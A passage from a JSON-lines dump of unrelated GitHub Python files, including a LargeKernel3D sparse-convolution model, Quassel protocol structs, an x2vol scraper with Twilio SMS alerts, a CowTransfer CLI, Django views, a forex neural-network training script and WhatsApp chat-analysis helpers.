self.NORM_FUNC(self.inplanes)\n\n self.conv1p1s2 = spconv.SparseConv3d(self.inplanes, self.inplanes, kernel_size=2, stride=2,\n padding=1, bias=False, indice_key='conv1p1s2', algo=ConvAlgo.Native)\n\n self.bn1 = self.NORM_FUNC(self.inplanes)\n\n self.block1 = self._make_layer(self.BLOCK, self.PLANES[0], self.LAYERS[0], dilation=self.DILATIONS[0],\n kernel_size=self.KERNEL_SIZES[0], indice_key='conv1p1s2_block', conv_type=self.CONV_TYPE[0],\n norm_func=self.NORM_FUNC, act_func=self.ACT_FUNC)\n\n self.conv2p2s2 = spconv.SparseConv3d(self.inplanes, self.inplanes, kernel_size=2, stride=2,\n padding=1, bias=False, indice_key='conv2p2s2', algo=ConvAlgo.Native)\n\n self.bn2 = self.NORM_FUNC(self.inplanes)\n\n self.block2 = self._make_layer(self.BLOCK, self.PLANES[1], self.LAYERS[1], dilation=self.DILATIONS[1],\n kernel_size=self.KERNEL_SIZES[1], indice_key='conv2p2s2_block', conv_type=self.CONV_TYPE[1],\n norm_func=self.NORM_FUNC, act_func=self.ACT_FUNC)\n\n self.conv3p4s2 = spconv.SparseConv3d(self.inplanes, self.inplanes, kernel_size=2, stride=2,\n padding=1, bias=False, indice_key='conv3p4s2', algo=ConvAlgo.Native)\n\n self.bn3 = self.NORM_FUNC(self.inplanes)\n\n self.block3 = self._make_layer(self.BLOCK, self.PLANES[2], self.LAYERS[2], dilation=self.DILATIONS[2],\n kernel_size=self.KERNEL_SIZES[2], indice_key='conv3p4s2_block', conv_type=self.CONV_TYPE[2],\n norm_func=self.NORM_FUNC, act_func=self.ACT_FUNC)\n\n self.conv4p8s2 = spconv.SparseConv3d(self.inplanes, self.inplanes, kernel_size=2, stride=2,\n padding=1, bias=False, indice_key='conv4p8s2', algo=ConvAlgo.Native)\n\n self.bn4 = self.NORM_FUNC(self.inplanes)\n\n self.block4 = self._make_layer(self.BLOCK, self.PLANES[3], self.LAYERS[3], dilation=self.DILATIONS[3],\n kernel_size=self.KERNEL_SIZES[3], indice_key='conv4p8s2_block', conv_type=self.CONV_TYPE[3],\n norm_func=self.NORM_FUNC, act_func=self.ACT_FUNC)\n\n self.convtr4p16s2 = spconv.SparseInverseConv3d(self.inplanes, self.PLANES[4], kernel_size=2, \n indice_key='conv4p8s2', bias=False, algo=ConvAlgo.Native)\n\n self.bntr4 = self.NORM_FUNC(self.PLANES[4])\n\n self.inplanes = self.PLANES[4] + self.PLANES[2] * self.BLOCK.expansion\n self.block5 = self._make_layer(self.BLOCK, self.PLANES[4], self.LAYERS[4], dilation=self.DILATIONS[4],\n kernel_size=self.KERNEL_SIZES[4], indice_key='convtr4p16s2_block', conv_type=self.CONV_TYPE[4],\n norm_func=self.NORM_FUNC, act_func=self.ACT_FUNC)\n\n self.convtr5p8s2 = spconv.SparseInverseConv3d(self.inplanes, self.PLANES[5], kernel_size=2, \n indice_key='conv3p4s2', bias=False, algo=ConvAlgo.Native)\n\n self.bntr5 = self.NORM_FUNC(self.PLANES[5])\n\n self.inplanes = self.PLANES[5] + self.PLANES[1] * self.BLOCK.expansion\n self.block6 = self._make_layer(self.BLOCK, self.PLANES[5], self.LAYERS[5], dilation=self.DILATIONS[5],\n kernel_size=self.KERNEL_SIZES[5], indice_key='convtr5p8s2_block', conv_type=self.CONV_TYPE[5],\n norm_func=self.NORM_FUNC, act_func=self.ACT_FUNC)\n\n self.convtr6p4s2 = spconv.SparseInverseConv3d(self.inplanes, self.PLANES[6], kernel_size=2, \n indice_key='conv2p2s2', bias=False, algo=ConvAlgo.Native)\n\n self.bntr6 = self.NORM_FUNC(self.PLANES[6])\n\n self.inplanes = self.PLANES[6] + self.PLANES[0] * self.BLOCK.expansion\n self.block7 = self._make_layer(self.BLOCK, self.PLANES[6], self.LAYERS[6], dilation=self.DILATIONS[6],\n kernel_size=self.KERNEL_SIZES[6], indice_key='convtr6p4s2_block', conv_type=self.CONV_TYPE[6],\n norm_func=self.NORM_FUNC, act_func=self.ACT_FUNC)\n\n self.convtr7p2s2 = spconv.SparseInverseConv3d(self.inplanes, self.PLANES[7], kernel_size=2, \n indice_key='conv1p1s2', bias=False, algo=ConvAlgo.Native)\n\n self.bntr7 = self.NORM_FUNC(self.PLANES[7])\n\n self.inplanes = self.PLANES[7] + self.INIT_DIM\n self.block8 = self._make_layer(self.BLOCK, self.PLANES[7], self.LAYERS[7], dilation=self.DILATIONS[7],\n kernel_size=self.KERNEL_SIZES[7], indice_key='convtr7p2s2_block', conv_type=self.CONV_TYPE[7],\n norm_func=self.NORM_FUNC, act_func=self.ACT_FUNC)\n \n if self.CONCATEXYZ:\n final_in_channel = (self.PLANES[7]+3) * self.BLOCK.expansion \n else:\n final_in_channel = self.PLANES[7] * self.BLOCK.expansion \n\n self.final = spconv.SubMConv3d(final_in_channel, out_channels, kernel_size=1, bias=True, indice_key='final')\n self.relu = nn.ReLU(inplace=True)\n\n def _recover_voxels(self, x, indices_ori):\n x = x.replace_feature(x.features[:indices_ori.shape[0]])\n x.indices = x.indices[:indices_ori.shape[0]]\n return x\n\n def forward(self, x):\n\n x1 = x\n out = self.conv0p1s1(x1)\n\n out = out.replace_feature(self.bn0(out.features))\n out_p1 = out.replace_feature(self.relu(out.features))\n\n out = self.conv1p1s2(out_p1)\n\n out = out.replace_feature(self.bn1(out.features))\n out = out.replace_feature(self.relu(out.features))\n\n out_b1p2 = self.block1(out)\n\n out = self.conv2p2s2(out_b1p2)\n out = out.replace_feature(self.bn2(out.features))\n out = out.replace_feature(self.relu(out.features))\n\n out_b2p4 = self.block2(out)\n out = self.conv3p4s2(out_b2p4)\n\n out = out.replace_feature(self.bn3(out.features))\n out = out.replace_feature(self.relu(out.features))\n\n out_b3p8 = self.block3(out)\n\n out = self.conv4p8s2(out_b3p8)\n\n out = out.replace_feature(self.bn4(out.features))\n out = out.replace_feature(self.relu(out.features))\n\n out = self.block4(out)\n\n out = self.convtr4p16s2(out)\n\n out = out.replace_feature(self.bntr4(out.features))\n out = out.replace_feature(self.relu(out.features))\n\n out = out.replace_feature(torch.cat((out.features, out_b3p8.features), dim=1))\n\n out = self.block5(out)\n\n out = self.convtr5p8s2(out)\n\n out = out.replace_feature(self.bntr5(out.features))\n out = out.replace_feature(self.relu(out.features))\n\n out = out.replace_feature(torch.cat((out.features, out_b2p4.features), dim=1))\n\n out = self.block6(out)\n\n out = self.convtr6p4s2(out)\n out = out.replace_feature(self.bntr6(out.features))\n out = out.replace_feature(self.relu(out.features))\n\n out = out.replace_feature(torch.cat((out.features, out_b1p2.features), dim=1))\n\n out = self.block7(out)\n\n out = self.convtr7p2s2(out)\n\n out = out.replace_feature(self.bntr7(out.features))\n out = out.replace_feature(self.relu(out.features))\n\n out = out.replace_feature(torch.cat((out.features, out_p1.features), dim=1))\n\n out = self.block8(out)\n\n return [self.final(out), out]\n\n\n\nclass LargeKernel3D(MinkUNetBaseSpconv):\n BLOCK = BasicBlock\n LAYERS = (2, 3, 4, 6, 2, 2, 2, 2)\n KERNEL_SIZES = ([7, 7], [7, 7], [7, 7], [7, 7], [3, 3], [3, 3], [3, 3], [3, 3])\n PLANES = (32, 64, 128, 256, 256, 128, 96, 96)\n CONV_TYPE = ('spatialgroupconv', 'spatialgroupconv', 'spatialgroupconv', 'spatialgroupconv',\n 'common', 'common', 'common', 'common')\n","repo_name":"dvlab-research/LargeKernel3D","sub_path":"semantic-segmentation/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":18268,"program_lang":"python","lang":"en","doc_type":"code","stars":164,"dataset":"github-code","pt":"48"} +{"seq_id":"7029415009","text":"\"\"\"\nQuassel Qt user type structures.\n\"\"\"\nfrom construct import (\n Struct, Rename, PascalString, Enum, FlagsEnum, UBInt8, UBInt32)\n\nfrom waffle.qt.types import (\n registerUserType, Short, Int, UInt, ByteArray, Map, String, QVariant,\n QVariantMap)\n\n\n\nBufferInfo = Struct(\n 'BufferInfo',\n Rename('id', Int),\n Rename('networkId', Int),\n Enum(Rename('type', Short),\n invalid=0x00,\n status=0x01,\n channel=0x02,\n query=0x04,\n group=0x08),\n Rename('groupId', UInt),\n PascalString('name', length_field=UBInt32('length')))\n\n\n\nMessageInfo = Struct(\n 'MessageInfo',\n Rename('id', Int),\n Rename('timestamp', UInt),\n Enum(UBInt32('type'),\n plain=0x00001,\n notice=0x00002,\n action=0x00004,\n nick=0x00008,\n mode=0x00010,\n join=0x00020,\n part=0x00040,\n quit=0x00080,\n kick=0x00100,\n kill=0x00200,\n server=0x00400,\n info=0x00800,\n error=0x01000,\n daychange=0x02000,\n topic=0x04000,\n netsplitjoin=0x08000,\n netsplitquit=0x10000,\n invite=0x20000),\n FlagsEnum(UBInt8('flags'),\n empty=0x00,\n self=0x01,\n highlight=0x02,\n redirected=0x04,\n servermessage=0x08,\n backlog=0x80),\n Rename('bufferInfo', BufferInfo),\n Rename('sender', ByteArray),\n Rename('content', ByteArray))\n\n\n\nregisterUserType('NetworkId', Int)\nregisterUserType(\n 'Identity', Map(Rename('key', String), Rename('value', QVariant)))\nregisterUserType('IdentityId', Int)\nregisterUserType('BufferInfo', BufferInfo)\nregisterUserType('BufferId', Int)\nregisterUserType('Message', MessageInfo)\nregisterUserType('MsgId', Int)\nregisterUserType('Network::Server', QVariantMap)\n","repo_name":"jonathanj/Waffle","sub_path":"waffle/qt/quassel.py","file_name":"quassel.py","file_ext":"py","file_size_in_byte":1764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35936192674","text":"import selenium, requests, time, pprint, re, os, datetime\r\nfrom selenium import webdriver\r\nfrom bs4 import BeautifulSoup\r\nfrom selenium.webdriver.chrome.options import Options\r\nfrom twilio.rest import Client\r\n\r\n# NOTEEEEEEEEEEEE\r\n# I have to change the way this works, from checking for new opportunities to reminding me to check a spreadsheet whenever new opps show up.\r\n\r\n\r\n# NOTEEEEE\r\n# THIS SCRIPT RUNS ON WINDOWS TASK SCHEDULER, but it could possibly be run better on a different api\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# Twilio - Sample\r\n\r\n#os.chdir(os.path.dirname(__file__))\r\ndef run():\r\n past_opps = []\r\n current_opps = {}\r\n\r\n with open('past_opps.txt', 'r') as f: # Gets all past opps, and a maybe working cookie\r\n for line in f:\r\n past_opps.append(line.strip('\\n'))\r\n\r\n def login(): # Logins to x2vol if cookies expire. #########COULD BE IMPROVED IN FUTURE\r\n options = Options()\r\n options.add_argument('--headless')\r\n driver = webdriver.Chrome(executable_path='C:/Users/Shady Name/Downloads/chromedriving/chromedriver.exe', chrome_options=options)\r\n #driver = webdriver.Chrome(executable_path='C:/Users/Shady Name/Downloads/chromedriving/chromedriver.exe')\r\n\r\n driver.get('https://x2vol.com/Login.html')\r\n username = driver.find_element_by_id(\"txtUserName\")\r\n password = driver.find_element_by_id(\"txtPassword\")\r\n\r\n username.send_keys(\"user\")\r\n password.send_keys('pass')\r\n driver.find_element_by_class_name(\"submit\").click()\r\n\r\n driver.get('https://x2vol.com/Opportunities/1511380/FindOpportunities')\r\n\r\n\r\n cookie_data = driver.get_cookies()\r\n driver.quit()\r\n\r\n\r\n x = {data['name']: data['value'] for data in cookie_data}\r\n\r\n return 'ASP.NET_SessionId={}'.format(x[\"ASP.NET_SessionId\"])\r\n\r\n def get_Opps(session_data): # Gets the current opps and the number of opps\r\n global number_opps\r\n soup = BeautifulSoup(session_data.content, 'html.parser')\r\n number_opps = (soup.find('h2').text)[-3:].strip()\r\n\r\n id_search = re.compile(r'id=\"(\\S+)\"')\r\n for i in soup.find_all(class_='CommunityList'): # The opportunities\r\n if i.find(class_='orgWidOneSix'):\r\n mo = id_search.search(str(i)) # The links to opportunities\r\n opp_name = i.find(class_='blueHedline').text.strip()\r\n current_opps[opp_name] = mo.group(1)\r\n print('Data Retrieved')\r\n\r\n def cookie_check(session): # Checks to see if cookies have expired, updates if it has.\r\n global cookie_header, opp_page\r\n with open('cookies.txt', 'r') as f: # Gets the cookie\r\n cookie_header = {'Cookie': f.read().rstrip('\\n')}\r\n\r\n r = session.post('https://x2vol.com/post', headers=cookie_header)\r\n if r.url != 'https://x2vol.com/post':\r\n print('Error! Expired Cookies!')\r\n cookie_header = {'Cookie': login()} # If that doesn't work, have to manually get cookies\r\n session.post('https://x2vol.com/post', headers=cookie_header)\r\n opp_page = session.get('https://x2vol.com/Opportunities/1511380/FindOpportunities', headers=cookie_header)\r\n\r\n print('Cookies Updated')\r\n\r\n with requests.Session() as session:\r\n\r\n cookie_check(session)\r\n get_Opps(session_data=opp_page)\r\n\r\n with open('cookies.txt', 'w') as f: # Updates the cookies, if it has changed\r\n f.write(cookie_header[\"Cookie\"])\r\n\r\n del past_opps[0] # Removes the 1st index, which is the number of oppurtunities. Wouldn't want that being compared with current_opps\r\n current_opps_names = set(current_opps.keys())\r\n new_opp_names = current_opps_names.difference(past_opps) # If any current opps are not present in past_opps, new_opp has them\r\n if new_opp_names: # If the list has names, then this runs\r\n new_opps = [[opp, current_opps[opp]] for opp in new_opp_names]\r\n\r\n with open('past_opps.txt', 'w') as f: # Adds the # of opps and then the oppurtunities\r\n f.write(number_opps + '\\n')\r\n for oppurtunities in current_opps:\r\n f.write(oppurtunities + '\\n')\r\n\r\n def convert_links(link):\r\n return 'https://x2vol.com/Opportunities/1511380/OpportunityDetails?OppoDetailId={}&Page=FindOpportunity'.format(link[-36:])\r\n\r\n print('New opportunities!')\r\n new_opps = list(map(lambda oppurtunity: [oppurtunity[0], convert_links(oppurtunity[1])], new_opps))\r\n\r\n time_search = re.compile(r'>(.*)<')\r\n longest_name = max((len(oppurtunity[0]) for oppurtunity in new_opps)) # oppurtunity[0] is the name of the oppurtunity\r\n for i in new_opps:\r\n opp_link = session.get(i[1], headers = cookie_header)\r\n soup = BeautifulSoup(opp_link.content, 'html.parser')\r\n i.append([]) # The list of all times that correspond with the oppurtunity\r\n for y in soup.find_all(class_='dtetwoFiveSix'):\r\n for time_raw in y.find_all(class_='evnTeFont'):\r\n mo = time_search.search(str(time_raw))\r\n time = mo.group(1)\r\n i[2].append(time)\r\n\r\n days = {'0': 'Monday', '1': 'Tuesday', '2': 'Wednesday', '3': 'Thursday', '4': 'Friday', '5': 'Saturday', '6': 'Sunday'}\r\n with open('new_opps.txt', 'a') as f:\r\n for i in new_opps:\r\n for times in i[2]: # The list of times\r\n weekday = str(datetime.datetime(int(times[6:10]), int(times[:2]), int(times[3:5])).weekday()) # Year, month, and day. All are numbers\r\n f.write('{}{}{} ({})\\n'.format(i[0], times.rjust((longest_name) - len(i[0]) + 37, '_'), i[1],days[weekday]))\r\n # Oppurtunity name, the times(adjusted), what day of the week, and the Am/Pm\r\n\r\n #Twilio\r\n acc_ = 'Hidden'\r\n token_ = 'Token'\r\n client = Client(acc_, token_)\r\n for opps in new_opps:\r\n all_times = ', '.join([v + days[str(datetime.datetime(int(v[6:10]), int(v[:2]), int(v[3:5])).weekday())] for v in opps[2]]) # opps[1] is the times\r\n client.messages.create(\r\n to='myphone',\r\n from_='twiliophone',\r\n body='{}[{}]{}\\n'.format(opps[0], all_times, opps[1]) # opps[1] is the link to the oppurtunity\r\n )\r\n\r\n\r\n print('Done')\r\nrun()\r\n","repo_name":"DNCHOW1/Python-Projects","sub_path":"VolunteerOppScraping/x2volUpdated/check_opps.py","file_name":"check_opps.py","file_ext":"py","file_size_in_byte":6546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19845476098","text":"import sys\nfrom cow_transfer.cow_download import (\n download_file\n)\nfrom cow_transfer.cow_upload import (\n CowUploader\n)\nimport argparse\nimport click\n\n\n@click.group()\ndef cli():\n \"\"\"upload and download - v0.1.5\"\"\"\n pass\n\n@cli.command()\n@click.option(\"--authorization\", type=str, prompt=\"用户 authorization\", help=\"用户 authorization\", required=True)\n@click.option(\"--remember_mev2\", type=str, prompt=\"用户 remember-mev2\", help=\"用户 remember-mev2\", required=True)\n@click.option(\"--upload_path\", type=str, prompt=\"待上传文件或目录路径\", help=\"待上传文件或目录路径\", required=True)\n@click.option(\"--folder_name\", type=str, help=\"文件夹名称\", default=\"\")\n@click.option(\"--title\", type=str, help=\"传输标题\", default=\"\")\n@click.option(\"--message\", type=str, help=\"传输描述\", default=\"\")\n@click.option(\"--valid_days\", type=int, help=\"传输有效期(天)\", default=7, show_default=True)\n@click.option(\"--chunk_size\", type=int, help=\"分块大小(字节)\", default=2097152, show_default=True)\n@click.option(\"--threads\", type=int, help=\"上传并发数\", default=5, show_default=True)\ndef upload(authorization, remember_mev2, upload_path, folder_name, title, message, valid_days, chunk_size, threads):\n \"\"\"CowTransfer - 奶牛快传\"\"\"\n # 如果传入特殊字符,就获取 xiyouyun 的 author 和 remember\n thread = CowUploader(authorization, remember_mev2, upload_path, folder_name,\n title, message, valid_days, chunk_size, threads)\n if thread.start_upload():\n click.echo(f\"链接:{thread.upload_info.get('transfer_url')}\\n\"\n f\"口令:{thread.upload_info.get('transfer_code')}\")\n else:\n click.echo(f\"上传失败,{thread.err}\")\n return thread\n\n\n@cli.command()\n# 列表,必须\n@click.option('-u', '--urlcode', help=\"urlcode for download file\", required=True)\n# int,可选,默认值\n@click.option(\"-t\", \"--threads\", default=20, help=\"set threads for download file\", show_default=True)\n# 可选,默认值\n@click.option(\"-p\", \"--path\", type=click.Path(exists=True), help=\"set save path for download file\", default=\".\")\ndef download(urlcode, threads, path):\n download_file(urlcode, target=path, threads=threads)\n\n\nif __name__ == \"__main__\":\n cli()\n\n","repo_name":"xiyoucloud/cow_transfer","sub_path":"cow_transfer/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2295,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"4935575587","text":"from __future__ import annotations\n\nimport functools\nimport os\nfrom contextlib import contextmanager\nfrom pathlib import Path\nfrom typing import Any, Callable\n\n\n@contextmanager\ndef environ(**env: str):\n \"\"\"Temporarily set environment variables inside the context manager.\"\"\"\n original_env = {key: os.getenv(key) for key in env}\n os.environ.update(env)\n try:\n yield\n finally:\n for key, value in original_env.items():\n if value is None:\n del os.environ[key]\n else:\n os.environ[key] = value\n\n\ndef pyright_env(func: Callable[..., Any]) -> Callable[..., Any]:\n \"\"\"Decorate a function to set the pyright environment.\"\"\"\n\n @functools.wraps(func)\n async def wrap_pyright_env(*args: Any, **kwargs: Any):\n default_env_dir = (\n Path(os.getenv(\"XDG_DATA_HOME\", Path.home() / \".local\" / \"share\")) / \"pyright\"\n )\n env_dir = Path(os.getenv(\"PYRIGHT_PYTHON_ENV_DIR\", default_env_dir)).resolve()\n with environ(PYRIGHT_PYTHON_ENV_DIR=env_dir.as_posix(), PYRIGHT_PYTHON_GLOBAL_NODE=\"off\"):\n return await func(*args, **kwargs)\n\n return wrap_pyright_env\n","repo_name":"ldamewood/ly-python-tools","sub_path":"src/ly_python_tools/lint/environ.py","file_name":"environ.py","file_ext":"py","file_size_in_byte":1176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12784809830","text":"from django.shortcuts import render,HttpResponseRedirect,redirect\nfrom .models import Student\nfrom .forms import StudentForm\nfrom .serializers import StudentSerializer\nfrom django.http import JsonResponse\nfrom rest_framework.decorators import api_view\n\n# Create your views here.\ndef addandshow(request):\n form=StudentForm\n stu=Student.objects.all()\n if request.method==\"POST\":\n name=request.POST.get('name'),\n name=name[0]\n age=request.POST.get('age'),\n age=age[0]\n address=request.POST.get('address'),\n address=address[0]\n grade=request.POST.get('grade'),\n grade=grade[0]\n major=request.POST.get('major'),\n major=major[0]\n stu=Student(name=name,age=age,address=address,grade=grade,major=major)\n stu.save()\n return HttpResponseRedirect(\"/\")\n \n else: \n context={'form':form,'stu':stu}\n return render(request,'show.html',context) \n\ndef updatedata(request,id):\n if request.method=='POST':\n pi=Student.objects.get(pk=id)\n fm=StudentForm(request.POST,instance=pi)\n if fm.is_valid():\n fm.save()\n return redirect(\"show\")\n\n else:\n pi=Student.objects.get(pk=id)\n fm=StudentForm(instance=pi)\n\n return render(request,'updatestudent.html' ,{'form':fm}) \n\ndef delete_data(request,id):\n if request.method==\"POST\":\n pi=Student.objects.get(pk=id)\n pi.delete()\n return HttpResponseRedirect(\"/\")\n\n@api_view(['GET', 'POST'])\ndef studentapi(request):\n if request.method == 'GET':\n prod=Student.objects.all()\n serial=StudentSerializer(prod,many=True)\n return JsonResponse(serial.data,safe=False) \n\n\n","repo_name":"DhurbaBhan/apiforintern","sub_path":"princelabapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18457159090","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nplt.style.use(\"seaborn\")\npd.set_option('display.float_format', lambda x: '%.5f' % x)\n\ndata2 = pd.read_csv('gbpusd.csv',parse_dates = [\"UTC\"], index_col = \"UTC\")\ndata = data2[:100000] \n\nprint(\"loaded data\")\n\nsymbol = data.columns[2]\ndata[\"returns\"] = np.log(data[symbol] / data[symbol].shift())\nwindow = 50\ndf = data.copy()\ndf[\"dir\"] = np.where(df[\"returns\"] > 0, 1, 0)\ndf[\"sma\"] = df[symbol].rolling(window).mean() - df[symbol].rolling(150).mean()\ndf[\"boll\"] = (df[symbol] - df[symbol].rolling(window).mean()) / df[symbol].rolling(window).std()\ndf[\"min\"] = df[symbol].rolling(window).min() / df[symbol] - 1\ndf[\"max\"] = df[symbol].rolling(window).max() / df[symbol] - 1\ndf[\"mom\"] = df[\"returns\"].rolling(3).mean()\ndf[\"vol\"] = df[\"returns\"].rolling(window).std()\ndf.dropna(inplace = True)\n\nprint(\"-----------------creating features---------------------\")\n\nlags = 6\ncols = []\nfeatures = [\"AskPrice\",\"BidPrice\",\"AskVolume\",\"BidVolume\",\"dir\", \"sma\", \"boll\", \"min\", \"max\", \"mom\", \"vol\"]\nfor f in features:\n for lag in range(1, lags + 1):\n col = \"{}_lag_{}\".format(f, lag)\n df[col] = df[f].shift(lag)\n cols.append(col)\ndf.dropna(inplace = True)\nsplit = int(len(df)*0.66)\n\ntrain = df.iloc[:split].copy()\n\ntest = df.iloc[split:].copy()\nmu, std = train.mean(), train.std() # train set parameters (mu, std) for standardization\ntrain_s = (train - mu) / std # standardization of train set features\ntrain_s.head()\n\nprint(\"-----------------training---------------------\")\n\nfrom DNNModel import *\n\n# fitting a DNN model with 3 Hidden Layers (50 nodes each) and dropout regularization\n\nset_seeds(100)\nmodel = create_model(hl = 3, hu = 50, dropout = True, input_dim = len(cols))\nmodel.fit(x = train_s[cols], y = train[\"dir\"], epochs = 50, verbose = False,\n validation_split = 0.2, shuffle = False, class_weight = cw(train))\n\n\n\nmodel.evaluate(train_s[cols], train[\"dir\"]) # evaluate the fit on the train set\n\nprint(\"----------------- pickling ---------------------\")\n\nimport pickle\nimport pickle\n\nmodel.save(\"DNN_model.h5\")\nparams = {\"mu\":mu, \"std\":std}\npickle.dump(params, open(\"params.pkl\", \"wb\"))\n\n#import keras\n#model = keras.models.load_model(\"DNN_model.h5\")\n#params = pickle.load(open(\"params.pkl\", \"rb\"))\n#mu = params[\"mu\"]\n#std = params[\"std\"]\n","repo_name":"promwonka/zat","sub_path":"fat/old/discarded/dnn.py","file_name":"dnn.py","file_ext":"py","file_size_in_byte":2353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73850425425","text":"from urlextract import URLExtract\r\nfrom wordcloud import WordCloud\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom collections import Counter\r\nimport emoji\r\n\r\nextract = URLExtract()\r\n\r\n\r\ndef fetch_col(selected_user, df):\r\n if selected_user == 'Overall':\r\n # fetch number of messages\r\n number_msgs = df.shape[0]\r\n # number of words\r\n words = []\r\n for msgs in df['Message']:\r\n words.extend(msgs.split())\r\n\r\n # fetch number of media shared\r\n media_count = 0\r\n for media_shared in df['Message']:\r\n if media_shared == '\\n':\r\n media_count = media_count + 1\r\n # fetch the number of links\r\n links = []\r\n for message in df['Message']:\r\n links.extend(extract.find_urls(message))\r\n\r\n return number_msgs, len(words), media_count, len(links)\r\n else:\r\n # fetch number of messages\r\n specific_user = df[df['User'] == selected_user]\r\n number_msgs = specific_user.shape[0]\r\n # number of words\r\n words = []\r\n for msgs in specific_user['Message']:\r\n words.extend(msgs.split())\r\n # fetch number of media shared\r\n media_count = 0\r\n for media_shared in specific_user['Message']:\r\n if media_shared == '\\n':\r\n media_count = media_count + 1\r\n # fetch the number of links\r\n links = []\r\n for message in specific_user['Message']:\r\n links.extend(extract.find_urls(message))\r\n\r\n return number_msgs, len(words), media_count, len(links)\r\n\r\n\r\n# most busiest user\r\ndef most_busy_users(df):\r\n x = df['User'].value_counts().head()\r\n df = round(df['User'].value_counts() / df.shape[0] * 100, 2) # 100,2 represent 2 digits after decimal\r\n return x, df\r\n\r\n\r\n# WordCloud\r\n\r\ndef create_wordcloud(selected_user, df):\r\n if selected_user != 'Overall':\r\n df = df[df['User'] == selected_user]\r\n wc = WordCloud(width=500, height=500, background_color='white')\r\n df_wc = wc.generate(df['Message'].str.cat(sep=\" \"))\r\n return df_wc\r\n\r\n\r\n# Emoji analyzing\r\n\r\ndef helper_emoji(selected_user, df):\r\n if selected_user != 'Overall':\r\n df = df[df['User'] == selected_user]\r\n\r\n emojis = []\r\n for message in df['Message']:\r\n emojis.extend([c for c in message if c in emoji.EMOJI_DATA])\r\n\r\n emoji_df = pd.DataFrame(Counter(emojis).most_common(len(Counter(emojis))))\r\n\r\n return emoji_df\r\n\r\n\r\n# monthly timeline\r\n\r\ndef monthly_timeline(selected_user, df):\r\n if selected_user != 'Overall':\r\n df = df[df['User'] == selected_user]\r\n\r\n timeline = df.groupby(['Year', 'Month', 'Month_Name', 'Day']).count()['Message'].reset_index()\r\n time = []\r\n for i in range(timeline.shape[0]):\r\n time.append(timeline['Month_Name'][i] + '-' + str(timeline['Year'][i]))\r\n\r\n timeline['Time'] = time\r\n\r\n return timeline\r\n\r\n\r\ndef daily_timeline(selected_user, df):\r\n if selected_user != 'Overall':\r\n df = df[df['User'] == selected_user]\r\n\r\n daily_timeline = df.groupby('only_date').count()['Message'].reset_index()\r\n return daily_timeline\r\n\r\n# Weekly acitivities\r\ndef weekly_activity(selected_user, df):\r\n if selected_user != 'Overall':\r\n df = df[df['User'] == selected_user]\r\n\r\n return df['day_name'].value_counts()\r\n\r\n\r\n#\r\ndef activity_heatmap(selected_user, df):\r\n if selected_user != 'Overall':\r\n df = df[df['User'] == selected_user]\r\n\r\n activity_heatmap = (df.pivot_table(index='day_name', columns='period', values='Message', aggfunc='count').fillna(0))\r\n return activity_heatmap\r\n","repo_name":"MArifBrohi/Machine-Learning-Projects","sub_path":"helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":3655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16717721701","text":"from collections import defaultdict\nimport csv\nimport json\nfrom StringIO import StringIO\nfrom time import time\nimport traceback\n\nfrom google.cloud.security.common.data_access import forseti\nfrom google.cloud.security.iam.explain.importer import roles as roledef\n\n\nclass ResourceCache(dict):\n \"\"\"Resource cache.\"\"\"\n def __setitem__(self, key, value):\n \"\"\"Overriding to assert the keys does not exist previously.\n\n Args:\n key (object): Key into the dict.\n value (object): Value to set.\n\n Raises:\n Exception: If the key already exists in the dict.\n \"\"\"\n\n if key in self:\n raise Exception('Key should not exist: {}'.format(key))\n super(ResourceCache, self).__setitem__(key, value)\n\n\nclass MemberCache(dict):\n \"\"\"Member cache.\"\"\"\n pass\n\n\nclass RoleCache(defaultdict):\n \"\"\"Role cache.\"\"\"\n\n def __init__(self):\n super(RoleCache, self).__init__(set)\n\n\nclass Member(object):\n \"\"\"Member object.\"\"\"\n\n def __init__(self, member_name):\n \"\"\"Construct a member object.\n\n Args:\n member_name (str): name of the member in 'type/name' format.\n \"\"\"\n self.type, self.name = member_name.split(':', 1)\n\n def get_type(self):\n \"\"\"Returns the member type.\n\n Returns:\n str: type portion of the member.\n \"\"\"\n\n return self.type\n\n def get_name(self):\n \"\"\"Returns the member name.\n\n Returns:\n str: name portion of the member.\n \"\"\"\n\n return self.name\n\n\nclass Binding(dict):\n \"\"\"Binding object.\"\"\"\n\n def get_role(self):\n \"\"\"Returns the role from the binding.\n\n Returns:\n str: role of the binding\n \"\"\"\n\n return self['role']\n\n def iter_members(self):\n \"\"\"Iterate over members in the binding.\n Yields:\n Member: each member which is part of the binding.\n \"\"\"\n\n members = self['members']\n i = 0\n while i < len(members):\n yield Member(members[i])\n i += 1\n\n\nclass Policy(dict):\n \"\"\"Policy object.\"\"\"\n\n def __init__(self, policy):\n \"\"\"Create a Policy object from a json policy.\n\n Args:\n policy (object): object supporting get_policy to return json\n formatted policy binding.\n \"\"\"\n super(Policy, self).__init__(json.loads(policy.get_policy()))\n\n def iter_bindings(self):\n \"\"\"Iterate over the policy bindings.\n\n Yields:\n Binding: to iterate over policy bindings.\n \"\"\"\n\n bindings = self['bindings']\n i = 0\n while i < len(bindings):\n yield Binding(bindings[i])\n i += 1\n\n\nclass EmptyImporter(object):\n \"\"\"Imports an empty model.\"\"\"\n\n def __init__(self, session, model, dao, _):\n \"\"\"Create an EmptyImporter which creates an empty stub model.\n\n Args:\n session (object): Database session.\n model (str): Model name to create.\n dao (object): Data Access Object from dao.py.\n _ (object): Unused.\n \"\"\"\n self.session = session\n self.model = model\n self.dao = dao\n\n def run(self):\n \"\"\"Runs the 